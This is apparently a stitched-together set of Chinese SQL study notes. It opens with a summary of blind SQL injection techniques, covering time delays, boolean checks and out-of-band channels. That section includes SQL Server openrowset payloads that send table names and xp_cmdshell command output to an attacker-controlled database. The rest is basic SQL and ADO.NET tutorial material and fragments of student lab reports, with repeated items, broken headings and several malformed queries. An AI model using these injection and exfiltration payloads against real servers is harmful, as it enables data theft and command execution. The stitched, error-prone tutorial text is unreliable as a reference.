第一篇：SQL盲注总结
SQL盲注总结：
１．寻找并确认SQL盲注：
１．强制产生通用错误 ２．注入带副作用的查询：
计时攻击（SQL Server：waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep）利用输出进行判断（and 1=2 或者 or 1=1）
３．拆分和平衡（利用不同数据库使用不同连字符进行判断）４．常见的盲注情景：
（１）提交错误sql语句返回内容可控的页面（２）提交错误sql语句返回内容可控的页面
（３）不产生错误页面，不会影响页面输出（一般需要使用基于时间的盲注）５．各数据库位操作符：
MySQL,PostgreSQL,SQL Server: 与(AND)或(OR)非(XOR): I&J I|J I^J ２．基于时间的SQL盲注技术：
1.SQL Server：waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep 2.PostgreSQL: 创建PL/pgSQL的延迟函数 3.二分法确认sql查询的值（脚本）
4.防止不可控的时间延时干扰判断：设置足够长的时间延时，远超正常值；同时发送两个请求语句，一个True时延迟，一个在False时延迟
３．基于响应的SQL盲注技术：
根据页面的相应判断True/False
多重判断语句 Case When something: Som..When something1: Som..1 或者case后两个查询一个（>）或（<），另一个为（＝）
４．使用非主流通道：
１．数据库连接：
（１）SQL Server:使用openrowset函数连接远程数据库，使用insert语句将被攻击服务
器上的数据传到自己控制的服务器数据库上
insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)select name from
sysobject where xtype = ‘U’
也可以利用xp_cmdshell执行系统命令，将回显传回自己数据库中
insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)exec
master..xp_cmdshell ‘dir c:’
（２）PostgreSQL:启用dblink,利用dblink命令从攻击者数据库向被攻击者发送数据，但相
关系列函数仅对行进行操作，而不是结果集，需要编写依靠游标遍历数据的PL/pgSQL
函数
２．dns渗漏（常用）：(1)dns的优点:(2)
３．htttp渗漏（oracle）： ４．email渗漏（很难利用）： ５．icmp渗漏（很少见）：
第二篇：SQL总结
1.SQL语句的With cte as用法：
with as短语，也叫做子查询部分。即定义一个SQL片断，该片断会让整个SQL语句所用到。eg：
with
cr as
(select CountryRegionCode from person.CountryRegion where Name like 'C%')
select * from person.StateProvince where CountryRegionCode in(select * from cr)
CTE后面必须直接跟使用CTE的SQL语句(如select,insert,update等)，否则，CTE将失效。CTE后面也可以跟其他的CTE，但只能使用一个with，多个CTE中间用逗号(,)分隔。eg：
with
cte1 as
(select * from table1 where name like 'abc%'),cte2 as
(select * from table2 where id > 20),cte3 as
(select * from table3 where price < 100)
select a.* from cte1 a, cte2 b, cte3 c where a.id = b.id and a.id = c.id
2.case when then多条件判断：
CASE
WHEN 条件1 THEN 结果1
WHEN 条件2 THEN 结果2
WHEN 条件3 THEN 结果3
WHEN 条件4 THEN 结果4
.........WHEN 条件N THEN 结果N
ELSE 结果X
END
Case具有两种格式。简单Case函数和Case搜索函数。
--简单Case函数
CASE sex
WHEN '1' THEN '男'
WHEN '2' THEN '女'
ELSE '其他' END
--Case搜索函数
CASE WHEN sex = '1' THEN '男'
WHEN sex = '2' THEN '女'
ELSE '其他' END
3.select语句前面加@转义字符的作用是强制后面的字符串中不使用转义字符，当作字符串
处理。
eg：string ss=@“aanaa”;输出：aanaa
string ss=“aanaa”;
输出：aa
aa
4.select getdate()：从SQL SERVER返回当前的时间与日期。
select first():函数返回指定的字段中第一个记录的值。
select last():函数返回指定的字段中最后一个记录的值。
select ucase():把字段的值转换为大写。
select lcase():把字段的值转换为小写。
select round():用于把数值字段设入为指定的小数位数。SELECT ROUND(column_name,decimals)FROM table_name
column_name 必需。要舍入的字段。decimals 必需。规定要返回的小数位数。format():用于对字段的显示进行格式化。
SELECT ProductName, UnitPrice, FORMAT(Now(),'YYYY-MM-DD')as PerDate FROM Products
5.union与union all的区别：
对重复结果的处理，UNION ALL 会将每一笔符合条件的资料都列出来，无论资料值有无重复
6.SELECT INTO 语句从一个表中选取数据，然后把数据插入另一个表中。
SELECT INTO 语句常用于创建表的备份复件或者用于对记录进行存档。
将整个table1复制到table2中：
INSERT INTO SELECT语句
语句形式为：Insert into Table2(field1,field2,...)select value1,value2,...from Table1（要求目标表Table2必须存在，由于目标表Table2已经存在，所以我们除了插入源表Table1的字段外，还可以插入常量。）
SELECT INTO FROM语句
语句形式为：SELECT value1, value2 into Table2 from Table1（要求目标表Table2不存在，因为在插入时会自动创建表Table2，并将Table1中指定字段数据复制到Table2中）
7.nchar ：固定长度的 Unicode 数据，最大长度为 4,000 个字符。
nvarchar：可变长度Unicode 数据，其最大长度为4,000字符。
char: 固定长度的非 Unicode 字符数据，最大长度为 8,000 个字符。
varchar：可变长度的非Unicode数据，最长为8,000 个字符。
char和varchar都是字符串类型的，用Unicode编码的字符串,结果是字符的整数值.8.select 1 from:
select 1 from mytable;与select anycol(目的表集合中的任意一行）from mytable;与select * from mytable 作用上来说是没有差别的，都是查看是否有记录，一般是作条件用的。select 1 from 中的1是一常量，查到的所有行的值都是它，但从效率上来说，1>anycol>*，因为不用查字典表。
查看记录条数可以用select sum(1)from mytable;等价于select sum(*)from mytable;
9.SQL中的字符匹配：
[NOT] LIKE '<匹配串>' [ESCAPE '<换码字符>']
<匹配串>可以是一个完整的字符串，也可以含有通配符%和_
%代表任意长度的字符串。eg：a%b表示以a开头以b结尾的任意长度的字符串。_代表任意单个字符。eg：a_b表示以a开头，以b结尾的长度为3的任意字符串。ESCAPE定义转义字符，当转义符置于通配符之前时，该通配符解释为普通字符。
10.GROUP BY子句将查询结果按某一列或多列的值分组，值相等的为一组。HAVING短语给出选择组的条件。
11.ROW_NUMBER()OVER函数的基本用法 ：
row_number()OVER(PARTITION BY COL1 ORDER BY COL2)表示根据COL1分组，在分组内部根据 COL2排序，而此函数计算的值就表示每组内部排序后的顺序编号（组内连续的唯一的)
select row_number()over(order by field2 desc)as row_number,* from t_table order by field1 desc Desc：倒序，Asc：正序
12.DbDataAdapter.Fill 方法(DataTable, IDbCommand, CommandBehavior)：
在DataTable中添加或删除新行以匹配使用指定 DataTable 和 IDataReader 名称的数据源中的行。
13.SqlCommand.ExecuteScalar 方法：执行查询，并返回查询所返回的结果集中第一行的第一列，忽略其他列或行。
14.inner join(等值连接)只返回两个表中联结字段相等的行
left join(左联接)返回包括左表中的所有记录和右表中联结字段相等的记录
right join(右联接)返回包括右表中的所有记录和左表中联结字段相等的记录
15.e.Item.ItemType==ListItemType.Item||e.Item.ItemType==ListItemType.AlternatingItem指触发的类型为DadaList中的基本行或内容行
16.order by的用法：
如果Order by 中指定了表达式Nulls first则表示null值的记录将排在最前(不管是asc 还是 desc)
如果Order by 中指定了表达式Nulls last则表示null值的记录将排在最后(不管是asc 还是 desc)
eg：将nulls始终放在最前
select * from zl_cbqc order by cb_ld nulls first
--将nulls始终放在最后
select * from zl_cbqc order by cb_ld desc nulls last
单列升序：select
单列降序：select
多列升序：select
多列降序：select
多列混合排序：select
17.C#中NULL,“",DBNULL,String.Empty,Convert.IsDBNull区别
(1)NULL
null 关键字是表示不引用任何对象的空引用的文字值。null 是引用类型变量的默认值。那么也只有引用型的变量可以为NULL，如果 int i=null,的话，是不可以的，因为Int是值类型的。
(2)DBNULL
DBNull在DotNet是单独的一个类型,该类只能存在唯一的实例,DBNULL.Value,DBNull唯一作用是可以表示数据库中的字符串，数字，或日期，为什么可以表示原因是DotNet储存这些数据的类（DataRow等）都是以 object 的形式来储存数据的。对于 DataRow , 它的 row[column] 返回的值永远不为 null，要么就是具体的为column 的类型的值。要么就是 DBNull。所以 row[column].ToString()这个写法永远不会在ToString那里发生NullReferenceException。DBNull 实现了 IConvertible。但是，除了 ToString 是正常的外，其他的ToXXX都会抛出不能转换的错误。
(3)”“和String.Empty
这两个都是表示空字符串，其中有一个重点是string str1=”“ 和 string str2=null 的区别，这样定义后，str1是一个空字符串，空字符串是一个特殊的字符串，只不过这个字符串的值为空，在内存中是有准确的指向的，string str2=null,这样定义后，只是定义了一个string 类的引用，str2并没有指向任何地方，在使用前如果不实例化的话，都将报错。
(4)Convert.IsDBNull()
Convert.IsDBNull()返回有关指定对象是否为 DBNull 类型的指示,即是用来判断对象是否为DBNULL的。其返回值是True或Flase。
string.Empty不分配存储空间
”“分配一个长度为空的存储空间
所以一般用string.Empty
null表示一个对象的指向无效，即该对象为空对象
DBNull。Value表示一个对象在数据库中的值为空，或者说为初始化，DBNull。Value对象指向有效的对象
18.DataSet.Relations.add()：获取用于将表链接起来并允许从父表浏览到子表的关系的集合。DataSet.Relations.Add(”关联名称“, 父关联主键字段, 子关联外来键字段)
19.DataBind():在Page_Load方法中我们建立了一个数组(ArrayList),并通过DataBind方法将这个数组捆绑到了DropDownList控件中，使得DropDownList最后有数据显示：）
20.IN 操作符允许我们在 WHERE 子句中规定多个值。
SQL IN 语法:SELECT column_name(s)FROM table_nameWHERE column_name IN(value1,value2,...)
21.DataBinder.Eval方法:在运行时使用反射来分析和计算对象的数据绑定表达式<%# DataBinder.Eval(Container.DataItem, ”ColumnName“)%>
eval()函数可计算某个字符串，并执行其中的的 JavaScript 代码。
可以理解为反射的绑定
或者理解为将Eval()里的字符串转换为表达式
在数据绑定的时候常用，其实是通过反射的手段实现了绑定
22.sql语句 count(1)与 count(*)的区别 :
count(1)，其实就是计算一共有多少符合条件的行。
1并不是表示第一个字段，而是表示一个固定值。
其实就可以想成表中有这么一个字段，这个字段就是固定值1，count(1)，就是计算一共有多少个1.count(*)，执行时会把星号翻译成字段的具体名字，效果也是一样的，不过多了一个翻译的动作，比固定值的方式效率稍微低一些。
23.DataTable.NewRow ：创建与该表具有相同框架的新的DataRow
24.ExcuteNonQuery():
如果要创建或修改数据库结构，操作成功时返回值为-1；如果要更新记录，返回值为操作影响的记录数；
ExecuteNonQuery()方法主要用于用户更新数据，通常它使用Update,Insert,Delete语句来操作数据库，其方法返回值意义：对于 Update,Insert,Delete 语句 执行成功是返回值为该命令所影响的行数，如果影响的行数为0时返回的值为0，如果数据操作回滚得话返回值为-1，关于MyCommand的ExecuteNonQuery(),ExecuteScalar(),ExecuteReader方法的区别:
***ExecuteNonQuery():执行SQL，返回一个整型变量，如果SQL是对数据库的记录进行操作，那么返回操作影响的记录条数，如果是SQL=”CREATE TABLE LookupCodes(code_id smallint IDENTITY(1,1)PRIMARY KEY CLUSTERED, code_desc varchar(50)NOT NULL)"那么在表创建成功后该方法返回-1。
***ExecuteScalar()：执行SQL，（如果SQL是查询Select）返回查询结果的第一行第一列，如果（如果SQL不是查询Select）那么返回未实列化的对象，因为对象未实列化，所以返回结果不能ToString(),不能Equals(null)，也就是说返回结果没有任何作用
***executeReader方法执行SQL，（如果SQL是查询Select）返回查询结果的集合，类型是 System.Data.OleDb.OleDbDataReader，你可以通过此结果，获取查询的数据。如果（如果SQL不是查询Select）那么返回一个没有任何数据的System.Data.OleDb.OleDbDataReader类型的集合(EOF)
25.DbDataAdapter.Fill 方法(DataTable)：在 DataSet 的指定范围中添加或刷新行，以与使用 DataTable 名称的数据源中的行匹配。
26.Decimal：decimal(2,1)，有效长度为2，小数位占1位。
varchar：可变长度的非Unicode数据，最长为8,000 个字符。
nvarchar：可变长度Unicode 数据，其最大长度为4,000字符。
char: 固定长度的非 Unicode 字符数据，最大长度为 8,000 个字符。
nchar ：固定长度的 Unicode 数据，最大长度为 4,000 个字符。
char和varchar都是字符串类型的，用Unicode编码的字符串,结果是字符的整数值.timestamp:数据类型是一种特殊的数据类型，用来创建一个数据库范围内的唯一数码。一个表中只能有一个timestamp列。每次插入或修改一行时，timestamp列的值都会改变。尽管它的名字中有“time”，但timestamp列不是人们可识别的日期。在一个数据库里,timestamp值是唯一的Uniqueidentifier特殊数据型
SELECT UPPER('Kelly'):upper是数据库的字符串函数，它的作用是将传递给它的英文字符串中小写字母转换为大写（大写的保持不变）；
SELECT LOWER('kelly'):lower将指定字符串中的大写字母换成小写字母
SUBSTRING（colunm name,startposition,length）从指定字符串中取字符
eg:SQL实例：
显示每个地区的总人口数和总面积．
SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
先以region把返回记录分成多个组，这就是GROUP BY的字面含义。分完组后，然后用聚合函数对每组中的不同字段（一或多条记录）作运算。
显示每个地区的总人口数和总面积．仅显示那些面积超过1000000的地区。
SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
HAVING SUM(area)>1000000
27.SELECT [ALL|DISTINCT] <目标列表达式> [别名] [，<目标列表达式> [别名]]…… FROM <表名或视图名> [别名] [,<表名或视图名> [别名]]……
[WHERE <条件表达式>]
[GROUP BY <列名1> [HAVING <条件表达式>]]
[ORDER BY <列名2> [ASC|DESC]]
INSERT
INTO <表名> [(<属性列1>[,<属性列2>……])]
VALUES(<常量1> [,<常量2>]……)
UPDATE <表名>
SET <列名>=<表达式> [,<列名>=<表达式>]……
[WHERE <条件>]
DELETE
FROM <表名>
[WHERE <条件>]
第三篇：SQL实验报告总结
《数据库系统概论（第四版）》
体
会
学号： 姓名： 班级： 教师：
学
期实 验 总 结 与 心 得
【实验名称】 数据库的创建 【实验内容】
1、新建sql注册表。
2、新建数据库。主数据文件：逻辑文件名为student_data，物理文件名为student.mdf，初始大小为10mb，最大尺寸为无限大，增长速度为10%；
数据库的日志文件：逻辑名称为student_log，物理文件名为student.ldf，初始大小为1mb，最大尺寸为5mb，增长速度为 1mb
3、修改已注册的sql server属性为使用sql server身份验证。
【实验名称】 数据库的附加、分离、导入导出及分离 【实验内容】 1.数据库文件的附加与分离(转载于:sql实验报告总结)2.数据库文件的导入和导出 3..数据库的删除 4.修改数据库
【实验名称】 数据库的创建（书中作业）【实验内容】 1.在数据库student中创建一个学生基本信息表 1．用企业管理其创建表 2．用查询分析器创建表 2．sql server 2005的系统数据类型分为哪几类？常用的数据类型有哪些？
答：字符串类型、整型、长整型、短整型、浮点数类型、定点数类型、日期、时间。常用的数据类型有：字符串类型、整型、长整型、短整型、浮点数类型、定点数类型、日期、时间
3．在数据库student中创建一个名为t_couse(课程信息表)1．用企业管理其创建t_course表 2．用查询分析器创建t_course 4.在数据库student中创建一个名为t_score(学生成绩)的表 5.sql server 2005 中有多少种约束？其作用分别是什么
答：非空约束，作用指定某一列不允许空值有助于维护数据的完整性，因为这样可以确保行中的列永远保护数据。
主键约束，作用可以保证实体的完整性，是最重要的一种约束。唯一约束，作用指定一个或多个列的组合值具有唯一性，以防止在列中输入重复的值。
检查约束，作用对输入列或者整个表中的值设置检查条件，以限制输入值，保证数据库数据的完整性。
默认约束，作用指定在插入操作中如果没有提供输入值。怎系统自动指定值。外键约束，作用主要用来维护两个表之间数据的一致性。6．分别为t_course表和t_score表创建唯一性约束、检查约束、默认约束。篇二：sql server综合实验报告
华北科技学院计算机系综合性实验
实 验 报 告 课程名称 数据库系统 实验学期 2010 至 2011 学年 第 二 学期
学生所在系部 计算机系 年级 二年级 专业班级
网络工程b093班
学生姓名
沈亚强
学号
200907024313
任课教师
郭红 实验成绩
计算机系制
实验报告须知
1、学生上交实验报告时，必须为打印稿（a4纸）。页面空间不够，可以顺延。
2、学生应该填写的内容包括：封面相关栏目、实验地点、时间、目的、设备环境、内容、结果及分析等。
3、教师应该填写的内容包括：实验成绩、教师评价等。
4、教师根据本课程的《综合性实验指导单》中实验内容的要求，评定学生的综合性实验成绩；要求在该课程期末考试前将实验报告交给任课教师。综合性实验
中，所涉及的程序，文档等在交实验报告前，拷贝给任课教师。任课教师统一
刻录成光盘，与该课程的期末考试成绩一同上交到系里存档。
5、未尽事宜，请参考该课程的实验大纲和教学大纲。《
数据库系统
》课程综合性实验报告 篇三：数据库上机实验报告+总结
数据库集中上机报告
学 生： 马志鹏 学 号： 0221090118 班 级： 02210901 专
业：计算机应用技术 重庆邮电大学移通学院 2011年6月
第一天：access数据库基本操作 1 实验目的
1、熟悉的掌握access数据库结构与创建
2、了解创建、修改、删除、查询、保存等操作
3、输入数据创建、设计器创建、向导创建。2 实验内容 3 实验结果
1.2.2 2 access数据表的编辑
第二天 数据表基本操作 1 表关系与编辑数据 1 实验目的：
1、实现一对一，一对多，多对多的实体关系
2、对“学生基本信息”表中的记录进行排序，按出生日期降序排列
3、从“学生基本信息”表中筛选出所有计算机系男生的记录
4、从“学生基本信息”表中筛选出回族和蒙古族的所有学生记录 3 2 实验内容
1.select 学生基本信息表.学生姓名, 成绩档案表.* from 成绩档案表 inner join 学生基本信息表 on 成绩档案表.学生学号 = 学生基本信息表.学生学号
where(((学生基本信息表.学生姓名)=张冰冰));2 select 学生基本信息表.* from 学生基本信息表 where(((学生基本信息表.性别)=男)and((学生基本信息表.班级名称)=计算机系));3 select 成绩档案表.c语言, 课程表.* from 成绩档案表, 课程表;4 select 学生基本信息表.*, 学生基本信息表.性别, 学生基本信息表.班级名称 from 学生基本信息表 where(((学生基本信息表.性别)<>男)and((学生基本信息表.班级名称)<>计算机系));5 select 学生基本信息表.*, 学生基本信息表.出生日期 from 学生基本信息表 where(((month([出生日期]))=9)and((day([出生日
期]))=1));6 select 学生基本信息表.* from 学生基本信息表 where(((学生基本信息表.学生姓名)like 李*));3 实验结果 4 第3天 sql查询设计 1 sql语言查询 1 实验目的：
熟悉了解sql语句 5 篇四：sqlserver实验报告—数据库和表的创建
数据库实验报告
课程名称信息系统数据库技术 实验名称 数据表的管理 专业班级
姓 名
学 号 实验日期
实验地点 2012—2013学 第 一 学期 篇五：数据库上机实验报告sql server 2000 课程代码：1010000450 数据库 database 学分：3 总学时：48 实验学时：16 面向专业：信息与计算科学，数学与应用数学
一、实验教学目标
数据库是计算机科学与技术专业的专业必修课程。课程内容主要包括：数据模型、关系代数、关系数据库标准语言sql、关系系统、关系数据理论、数据库设计方法。学习本课程的过程中，只有通过上机实验，才能使学生真正深层次了解数据库系统的体系结构，掌握数据库系统的基础理论、技术和方法，掌握主流数据库管理系统sql server 2000的应用技术及数据库应用系统的设计、开发能力。
二、实验教学基本要求
认真阅读教材中与实验相关的章节内容，提前做好实验准备，做到在每个实验前明确实验目的、掌握实验的基本内容及操作方法；在实验中正确使用实验设备，认真观察、分析实验结果；实验后要根据要求做好总结，写出实验报告。
三、实验教材或实验指导书
《数据库系统概论》，萨师煊 王珊主编，高等教育出版社
四、考核方式与评分办法 实验成绩评定分两部分：上机实验操作占50％，实验报告占50％。
五、实验项目设置
六、实验内容与实验方式
实验一
安装sql server 2000
（一）实验内容 1．安装microsoft的数据库服务软件sql server 2000。以sql server2000企业版为例安装教程
第一步：打开安装文件中的“autorun”文件，安装程序会自动运行出现版本选择界面，我们以选择企业版为例。
第二步：在接下来的界面中选择“安装数据库服务器”选项。
第三步：这时出现安装向导，出现“计算机名”窗口。“本地计算机”是默认选项，其名称就显示在上面，我们按其默认点“下一步”。
第四步：接下来，在“安装选择”对话窗口中，同样按其默认项“创建新的sql server实例，或安装客户端工具”点下一步。
第五步：在 用户信息 窗口，输入用户信息，并接受软件许可证协议。
第六步：在 安装定义窗口，选择 服务器和客户端工具 选项进行安装。我们需要将服务器和客户端同时安装，这样在同一台机器上，我们可以完成相关的所有操作，对于我们学习sql server很有用处。如果你已经在其它机器上安装了sql server，则可以只安装客户端工具，用于对其它机器上sql server的存取。
第七步：在 实例名 窗口，选择 默认 的实例名称。这时本sql server的名称将和windows 2000服务器的名称相同。第八步：在 安装类型 窗口，选择 典型 安装选项，并指定 目的文件夹。
第九步：在 服务账号 窗口，请选择 对每个服务使用统一账户...的选项。在 服务设置 处，选择 使用本地系统账户。如果需要 使用域用户账户 的话，请将该用户添加至windows server的本机管理员组中。
第十步：在 身份验证模式 窗口，请选择 混合模式...选项，并设置管理员sa账号的密码。如果需要更高的安全性，则可以选择 windows身份验证模式，这时就只有windows server的本地用户和域用户才能使用sql server了。
第十一步：在 选择许可模式 窗口，根据您购买的类型和数量输入（0表示没有数量限制）。每客户表示同一时间最多允许的连接数，处理器许可证表示该服务器最多能安装多少个cpu。笔者这里选择了 每客户 并输入了100作为示例。
第十二步：约10多分钟的安装时间，然后打开开始菜单下的sql子目录下的企业管理器。2．熟悉软件的使用以及各个组成部分。
第一：打开企业管理器，可以对本地的数据进行管理，也可以登录服务器端，即可以远程操作自己的数据库 ；
第二：登录查询分析器，可以通过sql管理语句，对数据库进行管理。
（二）实验方式与分组要求
老师先讲解十分钟，学生上机操作数据库sql server2000，最后老师检查操作结果。每次86组，每组1人。
实验二
启动sql server2000和建库、表
（一）实验内容 1．启动数据库服务软件sql server 2000。第一步：打开企业管理器，可以登录服务器端，即可以远程操作自己的数据库，登录步骤如下； 第二步：左侧方框中控制台根目录的子目录的sql server组上，右击，并新建sql server注册„； 第三步：在“服务器”一栏里输入想要登录的服务器ip地址，选择使用sql server身份验证，写入登录名和密码，就可以登录了。
第四步：登录查询分析器，可以通过sql管理语句，对数据库进行管理。2．在sql server 2000中建立数据库。
第一步：通过企业管理器进入服务器端以后，可以在数据库文件里“新建数据库”。第二步：输入数据库名称。
第三步：通过相关需求对数据库的相关属性进行设置，然后完成。3．在数据库上建立表。第一步：登录企业管理器
第二步：进入自己的database，并打开“表”选项；
第三步：在表选项右侧空白处，点击右键，选择“新建表„”；
第四步：在弹出的窗口中，分别填写列名，数据类型，长度和是否允许空值，然后关闭窗口。第五步：关闭窗口会弹出是否保存表，选择是，接下来弹出的窗口中填写表名即可。
（二）实验方式与分组要求
老师先讲解十分钟，学生上机操作数据库sql server2000，最后老师检查操作结果。每次86组，每组1人。
实验三
sql server2000查询分析器
（一）实验内容 1．启动数据库服务软件sql server 2000的查询分析器。第一步：在登录企业管理器的前提下，登录查询分析器。
第二步：登录查询分析器与登录企业管理器类似，需要输入ip地址或者如果是本地数据库，直接用windows身份验证即可。2．在查询分析器中建立表。
第一步：在查询分析器命令栏里输入以下语句： 定义一个学生-课程模式s-t create schema “s-t” authorization wang /*为用户wang定义了一个模式s-t*/ 然后点击“分析查询”和“执行查询”。第二步：在查询分析器命令栏里输入以下语句：
建立“学生”表student，学号是主码，姓名取值唯一 create table student(sno
char(9)primary key, /* 列级完整性约束条件*/ sname char(20)unique, /* sname取唯一值*/ ssex char(2), sage smallint, sdept char(20));然后点击“分析查询”和“执行查询”。
（二）实验方式与分组要求
老师先讲解十分钟，学生上机操作数据库sql server2000，最后老师检查操作结果。每次86组，每组1人。
实验四
sql语言的ddl
（一）实验内容 1．用如下语句对表进行操作：create table 建表；drop table 删除表；alter table 更改表。
create table student(sno char(4)primary key)drop table student /*当student表与其他数据有级联关系或者其他关系时，不能删除。*/ alter table student add s_entrance date null/*向student表增加“入学时间”列，其数据类型为日期型*/ alter table student drop column sno /*删除student表中的sno这一列，含有以下关系的列不能被删除： ? 被复制列。
? 用在索引中的列。
? 用在 check、foreign key、unique 或 primary key 约束中的列。? 有相关联的默认值（由 default 关键字定义）的列，或绑定到默认对象的列。? 绑定到规则的列。*/ 2．用如下语句对视图进行操作：create view 建视图；drop view 删除视图。/*创建一个is_student视图，视图中返回来自于表student中sdept=’is’的所有学生的sno,sname,sage列*/ create view is_student
as
select sno,sname,sage
from student where sdept=is /*删除is_student视图*/ drop view is_student 3．如下语句对索引进行操作：create index 建立索引；drop index 删除索引。/*创建一个stusname索引，在student 表中以sname列升序排列*/ create clustered index stusname on student(sname)/*删除student表中的stusname索引*/ drop index student.stusname
（二）实验方式与分组要求
老师先讲解十分钟，学生上机操作数据库sql server2000，最后老师检查操作结果。每次86组，每组1人。
实验五 sql语言的dml
（一）实验内容 1．启动数据库服务软件sql server 2000的查询分析器，用insert语句对表进行插入操作。/*将一个新学生元组（学号：200215128；姓名：陈冬；性别：男；所在系：is；年龄：18岁）插入到student表中*/ insert into student(sno,sname,ssex,sdept,sage)values(200215128,陈冬,男,is,18)/*学生张成民的信息插入到student表中*/ insert into student values(200215126,张成民,18,cs,男)/*对表student中每一个系，求学生的平均年龄，并把结果存入表dept_age表中。*/ 第一步：create table dept_age(sdept char(15), /* 系名*/ avg_age smallint)/*学生平均年龄*/ 第二步：insert into dept_age(sdept,avg_age)
select sdept,avg(sage)from student group by sdept 2．用update语句对表中已有的记录进行修改。/*将学生200215121的年龄改为22岁*/ update student set sage=22 where sno=200215121 /*将所有学生的年龄增加1岁*/ update student set sage= sage+1 /*将cs系全体学生的成绩置零*/ update sc set grade=0 where cs=(select sdept from student where student.sno = sc.sno)3．用delete语句对表中已有的记录进行删除。
第四篇：SQL语句经典总结
SQL语句经典总结
一、入门
1、说明：创建数据库
CREATE DATABASE database-name2、说明：删除数据库 drop database dbname
3、说明：备份sql server---创建 备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'---开始 备份
BACKUP DATABASE pubs TO testBack
4、说明：创建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)根据已有的表创建新表：
A：create table tab_new like tab_old(使用旧表创建新表)
B：create table tab_new as select col1,col2„ from tab_old definition only
5、说明：删除新表 drop table tabname
6、说明：增加一个列
Alter table tabname add column col type
注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。
7、说明：添加主键： Alter table tabname add primary key(col)说明：删除主键： Alter table tabname drop primary key(col)
8、说明：创建索引：create [unique] index idxname on tabname(col„.)删除索引：drop index idxname
注：索引是不可更改的，想更改必须删除重新建。
9、说明：创建视图：create view viewname as select statement 删除视图：drop view viewname
10、说明：几个简单的基本的sql语句 选择：select * from table1 where 范围
插入：insert into table1(field1,field2)values(value1,value2)删除：delete from table1 where 范围
更新：update table1 set field1=value1 where 范围
查找：select * from table1 where field1 like ’%value1%’---like的语法很精妙，查资料!排序：select * from table1 order by field1,field2 [desc] 总数：select count as totalcount from table1 求和：select sum(field1)as sumvalue from table1平均：select avg(field1)as avgvalue from table1 最大：select max(field1)as maxvalue from table1 最小：select min(field1)as minvalue from table1
11、说明：几个高级查询运算词 A： UNION 运算符
UNION 运算符通过组合其他两个结果表（例如 TABLE1 和 TABLE2）并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时（即 UNION ALL），不消除重复行。两种情况下，派生表的每一行不是来自 TABLE1 就是来自 TABLE2。B： EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时(EXCEPT ALL)，不消除重复行。
C： INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时(INTERSECT ALL)，不消除重复行。注：使用运算词的几个查询结果行必须是一致的。
12、说明：使用外连接
A、left（outer）join：
左外连接（左连接）：结果集几包括连接表的匹配行，也包括左连接表的所有行。SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c B：right（outer）join:
右外连接(右连接)：结果集既包括连接表的匹配连接行，也包括右连接表的所有行。C：full/cross（outer）join：
全外连接：不仅包括符号连接表的匹配行，还包括两个连接表中的所有记录。
12、分组:Group by: 一张表，一旦分组 完成后，查询后只能得到组相关的信息。
组相关的信息：（统计信息）count,sum,max,min,avg 分组的标准)
在SQLServer中分组时：不能以text,ntext,image类型的字段作为分组依据 在selecte统计函数中的字段，不能和普通的字段放在一起；
13、对数据库进行操作：
分离数据库： sp_detach_db;附加数据库：sp_attach_db 后接表明，附加需要完整的路径名 14.如何修改数据库的名称:
sp_renamedb 'old_name', 'new_name'
二、提升
1、说明：复制表(只复制结构,源表名：a 新表名：b)(Access可用)法一：select * into b from a where 1<>1（仅用于SQlServer）法二：select top 0 * into b from a
2、说明：拷贝表(拷贝数据,源表名：a 目标表名：b)(Access可用)insert into b(a, b, c)select d,e,f from b;
3、说明：跨数据库之间表的拷贝(具体数据使用绝对路径)(Access可用)insert into b(a, b, c)select d,e,f from b in ‘具体数据库’ where 条件 例子：..from b in '“&Server.MapPath(”.“)&”data.mdb“ &”' where..2
4、说明：子查询(表名1：a 表名2：b)select a,b,c from a where a IN(select d from b)或者: select a,b,c from a where a IN(1,2,3)
5、说明：显示文章、提交人和最后回复时间
select a.title,a.username,b.adddate from table a,(select max(adddate)adddate from table where table.title=a.title)b
6、说明：外连接查询(表名1：a 表名2：b)select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7、说明：在线视图查询(表名1：a)select * from(SELECT a,b,c FROM a)T where t.a > 1;
8、说明：between的用法,between限制查询数据范围时包括了边界值,not between不包括 select * from table1 where time between time1 and time2 select a,b,c, from table1 where a not between 数值1 and 数值2
9、说明：in 的使用方法
select * from table1 where a [not] in(‘值1’,’值2’,’值4’,’值6’)
10、说明：两张关联表，删除主表中已经在副表中没有的信息
delete from table1 where not exists(select * from table2 where table1.field1=table2.field1)
11、说明：四表联查问题：
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where.....12、说明：日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5
13、说明：一条sql 语句搞定数据库分页
select top 10 b.* from(select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc)a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段 具体实现：
关于数据库分页：
declare @start int,@end int @sql nvarchar(600)set @sql=’select top’+str(@end-@start+1)+’+from top’+str(@str-1)+’Rid from T where Rid>-1)’ exec sp_executesql @sql
注意：在top后不能直接跟一个变量，所以在实际应用中只有这样的进行特殊的处理。Rid为一个标识列，如果top后还有具体的字段，这样做是非常有好处的。因为这样可以避免 top的字段如果是逻辑索引的，查询的结果后实际表中的不一致（逻辑索引中的数据有可能和数据表中的不一致，而查询时如果处在索引则首先查询索引）
T where rid not in(select
14、说明：前10条记录
select top 10 * form table1 where 范围
